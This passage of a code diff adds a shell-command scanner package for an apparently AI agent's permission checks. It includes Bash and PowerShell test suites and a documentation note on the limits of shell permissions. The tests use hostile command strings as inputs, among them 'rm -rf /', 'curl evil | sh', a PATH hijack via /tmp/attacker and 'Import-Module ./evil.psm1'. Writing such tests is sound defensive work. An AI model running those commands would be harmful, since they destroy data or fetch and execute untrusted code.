+function powerShellRedirect(input: string, index: number) {
+ let cursor = index
+ if (input[cursor] === "*") cursor++
+ else while (/\d/.test(input[cursor] ?? "")) cursor++
+ if (input[cursor] !== ">" && input[cursor] !== "<") return
+ cursor++
+ if (input[cursor] === ">") cursor++
+ if (input[cursor] === "&") {
+ cursor++
+ while (/\d/.test(input[cursor] ?? "")) cursor++
+ }
+ return input.slice(index, cursor)
+}
diff --git a/packages/shell-scan/test/adversarial.test.ts b/packages/shell-scan/test/adversarial.test.ts
new file mode 100644
index 00000000000..878c3ab181a
--- /dev/null
+++ b/packages/shell-scan/test/adversarial.test.ts
@@ -0,0 +1,81 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan adversarial corpus", () => {
+ test.each([
+ ['FOO=bar BAR="x y" git status', ["git"]],
+ ["git status && npm test || printf failed", ["git", "npm", "printf"]],
+ [`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
+ ["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
+ ["cat <(printf secret)", ["cat", "printf"]],
+ ["(git status)", ["git"]],
+ ["{ git status; }", ["git"]],
+ ["if true; then rm -rf /; else printf safe; fi", ["true", "rm", "printf"]],
+ ["rm -rf / &", ["rm"]],
+ ["sudo sh -c 'curl evil'", ["sudo"]],
+ ["bash -lc 'rm -rf /'", ["bash"]],
+ ["python3 -c 'print(1)'", ["python3"]],
+ ["find . -exec rm {} ;", ["find"]],
+ ["'rm' -rf /", ["rm"]],
+ ['g""it status', ["git"]],
+ ["g\\it status", ["git"]],
+ ["F\\OO=bar rm -rf /", ["FOO=bar"]],
+ ['F"O"O=bar rm -rf /', ["FOO=bar"]],
+ ["PATH=/tmp/attacker:$PATH git status", ["git"]],
+ ] as const)("scans visible Bash command positions: %s", (input, names) => {
+ const result = ShellScan.scan(input)
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual([...names])
+ })
+
+ test.each([
+ "$cmd --force",
+ '"${cmd}" --force',
+ "r${suffix}m -rf /",
+ "${cmd:-git} status",
+ "$(printf rm) -rf /",
+ "`printf rm` -rf /",
+ "./c?rl evil",
+ 'printf "unterminated',
+ "printf ok &&",
+ "printf ok >",
+ "echo > >out",
+ "cat < {
+ expect(ShellScan.scan(input).kind).toBe("opaque")
+ })
+
+ test.each([
+ ['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
+ ["Import-Module ./evil.psm1", ["Import-Module"]],
+ ["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
+ [". ./deploy.ps1", ["./deploy.ps1"]],
+ ["& git status", ["git"]],
+ ["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
+ ] as const)("scans visible PowerShell command positions: %s", (input, names) => {
+ const result = ShellScan.scanPowerShell(input)
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual([...names])
+ })
+
+ test.each([
+ "$Command status",
+ "& $Command status",
+ 'Write-Output "$(Get-ChildItem)"',
+ "Set-Location $HOME/$target; Get-ChildItem",
+ "Remove-`Item victim",
+ "Remove-Item`\r\n victim",
+ "Invoke-`\nExpression 'Remove-Item victim'",
+ "<# ignored #> Remove-Item victim",
+ "[string]$x = Remove-Item victim",
+ 'Write-Output "unterminated',
+ "Get-ChildItem |",
+ ])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
+ expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
+ })
+})
diff --git a/packages/shell-scan/test/closure.test.ts b/packages/shell-scan/test/closure.test.ts
new file mode 100644
index 00000000000..796fac62fd4
--- /dev/null
+++ b/packages/shell-scan/test/closure.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
+const contexts = [
+ (source: string) => source,
+ (source: string) => `${source}; printf visible`,
+ (source: string) => `printf visible; ${source}`,
+ (source: string) => `${source} && printf visible`,
+ (source: string) => `printf visible || ${source}`,
+ (source: string) => `printf "$(${source})"`,
+ (source: string) => `X=$(${source}) printf visible`,
+ (source: string) => `printf visible >$(${source})`,
+] as const
+
+describe("ShellScan recursive structural opacity", () => {
+ for (const seed of opaque) {
+ for (const outer of contexts) {
+ for (const inner of contexts.slice(0, 5)) {
+ const source = outer(inner(seed))
+ test(source, () => expect(ShellScan.scan(source).kind).toBe("opaque"))
+ }
+ }
+ }
+})
+
+describe("ShellScan quote suppression", () => {
+ test.each([...opaque])("single quotes suppress active syntax: %s", (source) => {
+ expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
+ })
+})
diff --git a/packages/shell-scan/test/generated.test.ts b/packages/shell-scan/test/generated.test.ts
new file mode 100644
index 00000000000..71be49c8974
--- /dev/null
+++ b/packages/shell-scan/test/generated.test.ts
@@ -0,0 +1,182 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+const staticCommands = [
+ ["git status", ["git", "status"]],
+ ["printf ok", ["printf", "ok"]],
+ ["curl example.com", ["curl", "example.com"]],
+] as const
+
+describe("ShellScan generated properties", () => {
+ test("decomposes every combination of static commands and separators", () => {
+ const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
+
+ for (const [left, leftWords] of staticCommands) {
+ for (const separator of separators) {
+ for (const [right, rightWords] of staticCommands) {
+ expect(ShellScan.scan(left + separator + right)).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: left, words: [...leftWords] },
+ { resource: right, words: [...rightWords] },
+ ],
+ })
+ }
+ }
+ }
+ })
+
+ test("keeps quoted and escaped separators in arguments", () => {
+ const literals = [";", "|", "&", "#", "<", ">"]
+ const forms = literals.flatMap((literal) => [
+ { source: `'left${literal}right'`, word: `left${literal}right` },
+ { source: `"left${literal}right"`, word: `left${literal}right` },
+ { source: `left\\${literal}right`, word: `left${literal}right` },
+ ])
+
+ for (const form of forms) {
+ expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
+ kind: "scanned",
+ commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
+ })
+ }
+ })
+
+ test("fails closed when valid commands are mutated with malformed syntax", () => {
+ const mutate = [
+ (command: string) => `${command} "unterminated`,
+ (command: string) => `${command} 'unterminated`,
+ (command: string) => `${command} \\`,
+ (command: string) => `${command} &&`,
+ (command: string) => `| ${command}`,
+ (command: string) => `${command} || || printf reached`,
+ (command: string) => `${command} >`,
+ (command: string) => `${command} > > output`,
+ ]
+
+ for (const [command] of staticCommands) {
+ for (const mutation of mutate) expect(ShellScan.scan(mutation(command)).kind).toBe("opaque")
+ }
+ })
+
+ test("fails closed for generated dynamic command heads", () => {
+ const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
+ const tails = ["status", "--version", "-rf /"]
+
+ for (const head of heads) {
+ for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
+ }
+ })
+
+ test("keeps wrappers and shell evaluators at their delegated boundary", () => {
+ const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
+ const wrapped = [
+ "time git status",
+ "command git status",
+ "builtin printf ok",
+ "exec git status",
+ "env FOO=bar git status",
+ "sudo git status",
+ "nice git status",
+ "nohup git status",
+ "xargs rm",
+ "source ./script.sh",
+ ". ./script.sh",
+ "trap 'git status' EXIT",
+ "eval 'git status'",
+ "bash -c 'git status'",
+ "/bin/sh ./script.sh",
+ ]
+
+ for (const prefix of prefixes) {
+ for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
+ }
+ })
+})
+
+describe("ShellScan generated PowerShell properties", () => {
+ test("decomposes every combination of static commands and separators", () => {
+ const commands = [
+ ["Get-ChildItem", ["Get-ChildItem"]],
+ ["Write-Output ok", ["Write-Output", "ok"]],
+ ["Get-Content input.txt", ["Get-Content", "input.txt"]],
+ ] as const
+ const separators = ["; ", " | ", "\n"]
+
+ for (const [left, leftWords] of commands) {
+ for (const separator of separators) {
+ for (const [right, rightWords] of commands) {
+ expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: left, words: [...leftWords] },
+ { resource: right, words: [...rightWords] },
+ ],
+ })
+ }
+ }
+ }
+ })
+
+ test("keeps quoted and escaped separators in arguments", () => {
+ const literals = [";", "|", "&", "#", "<", ">"]
+ const forms = literals.flatMap((literal) => [
+ { source: `'left${literal}right'`, word: `left${literal}right` },
+ { source: `"left${literal}right"`, word: `left${literal}right` },
+ { source: `left\`${literal}right`, word: `left${literal}right` },
+ ])
+
+ for (const form of forms) {
+ expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
+ kind: "scanned",
+ commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
+ })
+ }
+ })
+
+ test("fails closed when valid commands are mutated with malformed syntax", () => {
+ const mutations = [
+ 'Write-Output ok "unterminated',
+ "Write-Output ok 'unterminated",
+ "Write-Output ok`",
+ "Write-Output ok |",
+ "Write-Output ok || || Write-Output reached",
+ "Write-Output ok >",
+ ]
+
+ for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+ })
+
+ test("distinguishes dynamic heads from delegated execution", () => {
+ const dynamic = ["$Command status", "${Command} status", "& $Command status"]
+ const delegated = [
+ "& git status",
+ ". ./script.ps1",
+ "Invoke-Expression 'git status'",
+ "iex 'git status'",
+ "Import-Module ./module.psm1",
+ "./script.ps1 -Force",
+ ]
+ const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
+ const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
+
+ for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+ for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
+ for (const shell of shells) {
+ for (const flag of switches) {
+ expect(ShellScan.scanPowerShell(`${shell} ${flag} 'git status'`).kind).toBe("scanned")
+ }
+ }
+ })
+
+ test("fails closed for dynamic location changes but accepts known directory variables", () => {
+ const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
+ const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
+ const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
+
+ for (const location of locations) {
+ for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
+ for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
+ }
+ })
+})
diff --git a/packages/shell-scan/test/mutation.test.ts b/packages/shell-scan/test/mutation.test.ts
new file mode 100644
index 00000000000..c7296ad8c5e
--- /dev/null
+++ b/packages/shell-scan/test/mutation.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan structural mutation closure", () => {
+ test.each([
+ "$COMMAND status",
+ "${COMMAND} status",
+ '"$COMMAND" status',
+ "$(printf git) status",
+ "`printf git` status",
+ 'printf "unterminated',
+ "printf ok &&",
+ "| printf ok",
+ "printf ok >",
+ ])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
+ expect(ShellScan.scan(source).kind).toBe("opaque")
+ })
+
+ test.each([
+ "$Command status",
+ "${Command} status",
+ "& $Command status",
+ "Write-Output ok`",
+ 'Write-Output "unterminated',
+ "Get-ChildItem |",
+ ])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
+ expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
+ })
+})
diff --git a/packages/shell-scan/test/scan.test.ts b/packages/shell-scan/test/scan.test.ts
new file mode 100644
index 00000000000..8f0db8c4a41
--- /dev/null
+++ b/packages/shell-scan/test/scan.test.ts
@@ -0,0 +1,316 @@
+import { describe, expect, test } from "bun:test"
+import { ShellScan } from "../src/index.js"
+
+describe("ShellScan", () => {
+ test("scans a static command", () => {
+ expect(ShellScan.scan("git status")).toEqual({
+ kind: "scanned",
+ commands: [{ resource: "git status", words: ["git", "status"] }],
+ })
+ })
+
+ test("scans every command in lists and pipelines", () => {
+ expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: "git status", words: ["git", "status"] },
+ { resource: "curl evil", words: ["curl", "evil"] },
+ { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+ ],
+ })
+ })
+
+ test("does not split operators inside quoted or escaped arguments", () => {
+ expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
+ { resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
+ ],
+ })
+ })
+
+ test("scans commands substituted into an argument", () => {
+ expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
+ { resource: "curl evil", words: ["curl", "evil"] },
+ { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
+ ],
+ })
+ })
+
+ test("scans substitutions in assignment values and redirect targets", () => {
+ expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
+ kind: "scanned",
+ commands: [
+ {
+ resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
+ words: ["printenv"],
+ },
+ { resource: "printf out", words: ["printf", "out"] },
+ { resource: "printf value", words: ["printf", "value"] },
+ { resource: "printf path", words: ["printf", "path"] },
+ ],
+ })
+ })
+
+ test("scans substitutions nested in parameter expansions", () => {
+ const result = ShellScan.scan("echo ${x:-$(curl evil)}")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
+ })
+
+ test("recursively scans substitutions and preserves shell quote rules", () => {
+ expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
+ kind: "scanned",
+ commands: [
+ {
+ resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
+ words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
+ },
+ { resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
+ { resource: "pwd", words: ["pwd"] },
+ ],
+ })
+ expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
+ const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
+ if (legacy.kind === "opaque") return
+ expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
+ })
+
+ test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
+ "makes the whole result opaque when a nested scan is opaque: %s",
+ (command) => {
+ expect(ShellScan.scan(command).kind).toBe("opaque")
+ },
+ )
+
+ test("bounds substitution nesting and input size", () => {
+ const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
+ expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
+ expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
+ })
+
+ test("returns opaque when the command name is dynamic", () => {
+ expect(ShellScan.scan("$COMMAND status")).toEqual({
+ kind: "opaque",
+ reason: "dynamic-command-name",
+ })
+ })
+
+ test("finds the command after static assignment prefixes", () => {
+ expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
+ kind: "scanned",
+ commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
+ })
+ })
+
+ test.each([
+ "eval 'curl evil | sh'",
+ "bash -c 'curl evil | sh'",
+ "FOO=x /bin/sh -lc 'curl evil | sh'",
+ "sudo sh -c 'curl evil'",
+ "python3 -c 'print(1)'",
+ ])("keeps delegated execution at the invoked command boundary: %s", (command) => {
+ expect(ShellScan.scan(command).kind).toBe("scanned")
+ })
+
+ test.each([
+ ["(git status)", ["git"]],
+ ["{ git status; }", ["git"]],
+ ["{ rm -rf /; } &", ["rm"]],
+ ["{ rm -rf /; } >out", ["rm"]],
+ ["{ rm -rf /; }; echo safe", ["rm", "echo"]],
+ ["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
+ ["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
+ ["rm -rf / &", ["rm"]],
+ ["cat <(printf secret)", ["cat", "printf"]],
+ ] as const)("scans common compound execution: %s", (command, names) => {
+ const result = ShellScan.scan(command)
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((item) => item.words[0])).toEqual([...names])
+ })
+
+ test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])(
+ "returns opaque for malformed conditionals: %s",
+ (command) => {
+ expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" })
+ },
+ )
+
+ test("keeps redirects with the command but excludes them from words", () => {
+ expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
+ { resource: "cat < input", words: ["cat"] },
+ ],
+ })
+ })
+
+ test("recognizes redirects without surrounding whitespace", () => {
+ expect(ShellScan.scan("printf ok>out 2>&1|catout 2>&1", words: ["printf", "ok"] },
+ { resource: "cat"])(
+ "returns opaque for malformed command structure: %s",
+ (command) => {
+ expect(ShellScan.scan(command).kind).toBe("opaque")
+ },
+ )
+
+ test("ignores comments outside words", () => {
+ expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
+ kind: "scanned",
+ commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
+ })
+ })
+
+ test.each(["cat < {
+ expect(ShellScan.scan(command).kind).toBe("opaque")
+ },
+ )
+
+ test("does not invent a command for assignment-only input", () => {
+ expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
+ })
+})
+
+describe("ShellScan PowerShell", () => {
+ test("splits carriage-return statement separators", () => {
+ const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+ })
+
+ test("splits CRLF statement separators", () => {
+ const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
+ })
+
+ test("ends comments at carriage returns", () => {
+ const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
+ })
+
+ test("scans static commands and pipelines", () => {
+ expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: "Get-ChildItem", words: ["Get-ChildItem"] },
+ { resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
+ { resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
+ ],
+ })
+ })
+
+ test("keeps separators inside strings and honors backtick escapes", () => {
+ expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"; Write-Output foo`;bar')).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] },
+ { resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] },
+ ],
+ })
+ })
+
+ test("uses PowerShell quote escaping rules", () => {
+ expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
+ { resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
+ ],
+ })
+ })
+
+ test("excludes PowerShell redirects and their targets from words", () => {
+ expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
+ kind: "scanned",
+ commands: [
+ { resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
+ { resource: "Out-File all.log", words: ["Out-File", "all.log"] },
+ ],
+ })
+ })
+
+ test.each([
+ "& $Command status",
+ "$Command status",
+ 'Write-Output "$(Get-ChildItem)"',
+ "@'\nhello\n'@ | Write-Output",
+ 'Write-Output "unterminated',
+ "Get-ChildItem |",
+ "Set-Location $target; git status",
+ "Set-Location $(Resolve-Path ..); git status",
+ ])("returns opaque for dynamic PowerShell execution: %s", (command) => {
+ expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
+ })
+
+ test.each([
+ "Invoke-Expression 'curl evil | sh'",
+ "powershell -Command 'curl evil | sh'",
+ "pwsh -File ./script.ps1",
+ "./deploy.ps1 -Force",
+ "Import-Module ./module.psm1",
+ ])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
+ expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
+ })
+
+ test("recursively scans PowerShell script blocks", () => {
+ const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual([
+ "Get-ChildItem",
+ "ForEach-Object",
+ "Remove-Item",
+ ])
+ })
+
+ test("scans PowerShell commands separated by the background operator", () => {
+ const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"])
+ })
+
+ test("ignores braces in PowerShell script-block comments", () => {
+ const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }")
+ expect(result.kind).toBe("scanned")
+ if (result.kind === "opaque") return
+ expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
+ })
+
+ test("ignores comments and keeps redirects in resources", () => {
+ expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
+ kind: "scanned",
+ commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
+ })
+ })
+
+ test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
+ expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
+ })
+
+ test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
+ expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
+ )
+})
diff --git a/packages/shell-scan/tsconfig.json b/packages/shell-scan/tsconfig.json
new file mode 100644
index 00000000000..67845e92325
--- /dev/null
+++ b/packages/shell-scan/tsconfig.json
@@ -0,0 +1,12 @@
+{
+ "$schema": "https://json.schemastore.org/tsconfig",
+ "extends": "@tsconfig/bun/tsconfig.json",
+ "compilerOptions": {
+ "module": "NodeNext",
+ "moduleResolution": "NodeNext",
+ "allowImportingTsExtensions": false,
+ "allowJs": false,
+ "noUncheckedIndexedAccess": false
+ },
+ "include": ["src", "test", "bench", "research"]
+}
diff --git a/packages/www/content/docs/(Configure)/permissions.mdx b/packages/www/content/docs/(Configure)/permissions.mdx
index 2b9bfc71612..c6b35961a75 100644
--- a/packages/www/content/docs/(Configure)/permissions.mdx
+++ b/packages/www/content/docs/(Configure)/permissions.mdx
@@ -120,7 +120,9 @@ raw command text and are **not** home-expanded.
`shell` runs with the host user's filesystem, process, and network authority. Its resource is raw text, not a parsed
command. External command arguments produce only best-effort warnings; `external_directory` is enforced for the
working directory, not every path embedded in a command. Prefer a narrow shell allowlist over patterns intended to
- identify every dangerous command.
+ identify every dangerous command. Shell permission scanning identifies commands introduced by shell syntax, but it
+ does not inspect source, callbacks, plugins, package scripts, remote commands, or other executable behavior delegated
+ through an allowed program. For example, allowing `npm *`, `make *`, or `ssh *` also trusts what that program executes.
Relative mutation paths cannot escape the active Location, and symlink escapes